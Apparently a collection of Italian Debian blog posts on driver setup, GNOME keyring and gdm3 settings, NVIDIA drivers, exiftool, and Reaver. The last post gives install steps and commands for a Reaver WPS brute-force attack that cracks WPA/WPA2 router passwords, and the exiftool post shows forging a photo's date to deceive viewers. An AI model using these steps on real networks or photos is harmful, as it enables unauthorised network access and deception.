
Sul mio nuovo Acer Aspire One D257, ho installato naturalmente Debian Squeeze. Come scheda wifi ha una Broadcom Corporation BCM4313, che si compila facilmente col kernel di default 2.6.32, ma ci sono dei problemi, se come me, si installa l'ultimo kernel dai backport, nel mio caso il 2.6.39-bpo.2-686-pae. Per compilare senza problemi questo driver, bisogna aggiungere momentaneamente i repository testing, poichè abbiamo bisogno di broadcom-sta-source broadcom-sta-common alla versione 5.100, mentre su Squeeze sono alla 5.60. Quindi una volta installati, si possono togliere i repository testing, e procedere con l'installazione dei driver per la BCM4313.
# apt-get install module-assistant wireless-tools
# m-a a-i broadcom-sta
# echo blacklist brcm80211 >> /etc/modprobe.d/broadcom-sta-common.con
# update-initramfs -u -k $(uname -r)
# modprobe -r b44 b43 b43legacy ssb
# modprobe wl
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Tag: BCM4313, broadcom, wifi, wireless
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Quante nozioni interessanti su Debian, tutte racchiuse in questo wallpaper.
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Sul mio Aspire One, dove è installata Debian Squeeze, ho deciso di disabilatare la password di accesso del mio utente, anche perchè lo uso poco e quasi sempre in casa. Disabilitando la password di accesso però, ad ogni avvio appare la richiesta di sblocco portachiavi, e questo è ancora più fastidioso.Io ho risolto la cosa in maniera "grezza", non so se esistono altri modi, e dato che ha funzionato, a me sta bene così
$ rm -f ~/.gnome2/keyrings/login.keyring
# nano /etc/pam.d/gdm3
ed inserire solo la riga rossa:
#%PAM-1.0
auth requisite pam_nologin.so
auth required pam_succeed_if.so user != root quiet_success
@include common-auth
auth optional pam_gnome_keyring.so
@include common-account
session required pam_limits.so
session required pam_env.so readenv=1
session required pam_env.so readenv=1 envfile=/etc/default/locale
@include common-session
session optional pam_gnome_keyring.so auto_start
@include common-pamkeyring
@include common-password
nel caso si volesse tornare ad avere la password, ricordarsi prima di eliminare "@include common-pamkeyring"
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Tag: keyring, portachiavi
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Ebbene Sì…mi sono appena accorto che gdmsetup non esiste più, è scomparso, morto, ma all'inizio mi sono detto…è chiaro che non esiste, adesso si chiamerà gdm3setup…invece no…. quel gdmsetup che richiamava la gui, per poter settare l'accesso automatico o meno dell'utente, proprio come avveniva qualche tempo fa in questo post, adesso non esiste. Ora per fare una cosa del genere, sempre in maniera grafica bisogna andare in Impostazioni di Sistema-Account utente, quello che è rimasto di "vecchio" è sempre il file di configurazione che "vive" sempre in /etc/gdm3/daemon.conf. Infatti per settare il login automatico, sono andato a settare quel file, dato che graficamente non mi funzionava, ma nulla di strano in questo, sono sempre su una "vecchia" SID, che fino adesso ha vissuto tra l' unstable e l'experimental. Però una stranezza l'ho notata, ( metto le mani avanti, dato che non ho approfondito la cosa ) se l'accesso automatico si imposta così, allora la vocina che si trova in basso, (no flag) in Strumenti di Sistema-Utenti e Gruppi-Password, a cosa serve?

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Tag: gdmsetup
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La mia sheela
Ho già parlato in passato di exiftool, e di quanto sia importante cancellare i metadati che si nascondono in una foto, prima di distribuirla in giro. Comunque, per motivi che non sto qui a spiegare, io controllo sempre i dati nelle foto, poichè, questo mi fa capire, con l'aiuto di domande mirate successive, se chi le ha inviate dice il vero. Ma se io volessi deliberatamente mentire? far credere che quella foto sia stata scattata in una data diversa, e quindi ingannare un'occhio poco attento?….come fare??? Semplice, basta manipolare la data con exiftool. Come esempio porto la foto leggermente "purificata" della mia sheela, scattata nel 2007. I dati presenti sulla foto sono i seguenti:
ORIGINALE:
edmond@Debianbox:~/Desktop/test$ exiftool -a -u -g1 sheela.jpg
—- ExifTool —-
ExifTool Version Number : 8.60
—- System —-
File Name : sheela.jpg
Directory : .
File Size : 189 kB
File Modification Date/Time : 2007:09:30 15:23:51+02:00
File Permissions : rw-r—–
—- File —-
File Type : JPEG
MIME Type : image/jpeg
Image Width : 500
Image Height : 375
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
—- JFIF —-
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
—- Composite —-
Image Size : 500×375
quindi per manipolare la data, facendo anche una copia dell'originale, il comando da usare è il seguente:
$ exiftool -DateTimeOriginal='2012:01:15 14:50:04' foto.jpg
FAKE:
edmond@Debianbox:~/Desktop/test$ exiftool -DateTimeOriginal='2012:01:15 14:50:04' sheela.jpg
1 image files updated
edmond@Debianbox:~/Desktop/test$ exiftool -a -u -g1 sheela.jpg—- ExifTool —-
ExifTool Version Number : 8.60
—- System —-
File Name : sheela.jpg
Directory : .
File Size : 190 kB
File Modification Date/Time : 2012:01:15 14:50:37+01:00
File Permissions : rw-r—–
—- File —-
File Type : JPEG
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Image Width : 500
Image Height : 375
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
—- JFIF —-
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
—- IFD0 —-
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Y Cb Cr Positioning : Centered
—- ExifIFD —-
Exif Version : 0230
Date/Time Original : 2012:01:15 14:50:04
Components Configuration : Y, Cb, Cr, -
Flashpix Version : 0100
Color Space : Uncalibrated
—- Composite —-
Image Size : 500×375
per cancellare tutti i metadati:
$ exiftool -all= foto.jpg
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Tag: exiftool, Sicurezza
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Già in precedenza, con i driver stable 290.10, avevo intitolato "Solved ", però ho dovuto continuare ad usare i driver nouveau, in quanto quel driver, mi procurava un fastidioso problema di righe-lettere sdoppiate. Questa scheda ha avuto dei momenti travagliati da quando si è passati a Gnome-Shell, all'inizio funzionando bene, per poi man mano, non funzionare per nulla. Dopo sei mesi di buio, si è arrivati ai 290.10, ed adesso finalmente ai driver 295.09 beta, che mi pare abbiano risolto i miei problemi. Speriamo che sia il "Solved" definitivo !
Download:
The 295.09 NVIDIA Accelerated Linux Graphics Driver Set for Linux/x86 is available for download via FTP.
The 295.09 NVIDIA Accelerated Linux Graphics Driver Set for Linux/x86_64 is available for download via FTP.
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Tag: nouveau, Nvidia
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Reaver WPS riesce con un attaco brute force a decifrare la password wpa/wpa2 della nostra rete, in determinate condizioni. Prima di tutto il WPS o Wi-Fi Protected Setup è diffuso nei router domestici, in genere lo si trova sotto la voce wifi-protezione. La vulnerabilità si nasconde prorpio in questo standard, in quanto, se si utilizza la modalità di inserimento pin al posto del push button, questa apre una falla. Praticamente bombardando il router di pacchetti, questo restituisce molte informazioni utili al cracking. Comunque in rete si trovano spiegazioni più esaustive e dettagliate. Come prima cosa bisogna installare aircrack-ng, e compilarselo, dato che non è più presente nei repository ufficiali, oppure prelevarlo dal mio repository. Per avere quindi reaver su Debian:
$ sudo apt-get install libpcap0.8-dev libsqlite3-dev
$ wget http://reaver-wps.googlecode.com/files/reaver-1.3.tar.gz
$ tar -xvf reaver-1.3.tar.gz
$ cd reaver-1.3/src/
$ ./configure
$ make
$ sudo make install
mettere in monitor mode la scheda:
# airmon-ng start wlan0
il comando sopra creerà mon0 in monitor mode
Interface Chipset Driver
wlan0 Ralink 2561 PCI rt61pci – [phy0]
(monitor mode enabled on mon0)
scanning per rilevare reti wpa:
# walsh -i mon0 --ignore-fcs
attacco:
# reaver -i mon0 -b 00:11:22:33:44:55 --dh-small
per altri comandi leggere la documentazione all'interno del pacchetto.
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Tag: cracking, reaver, rete, Sicurezza
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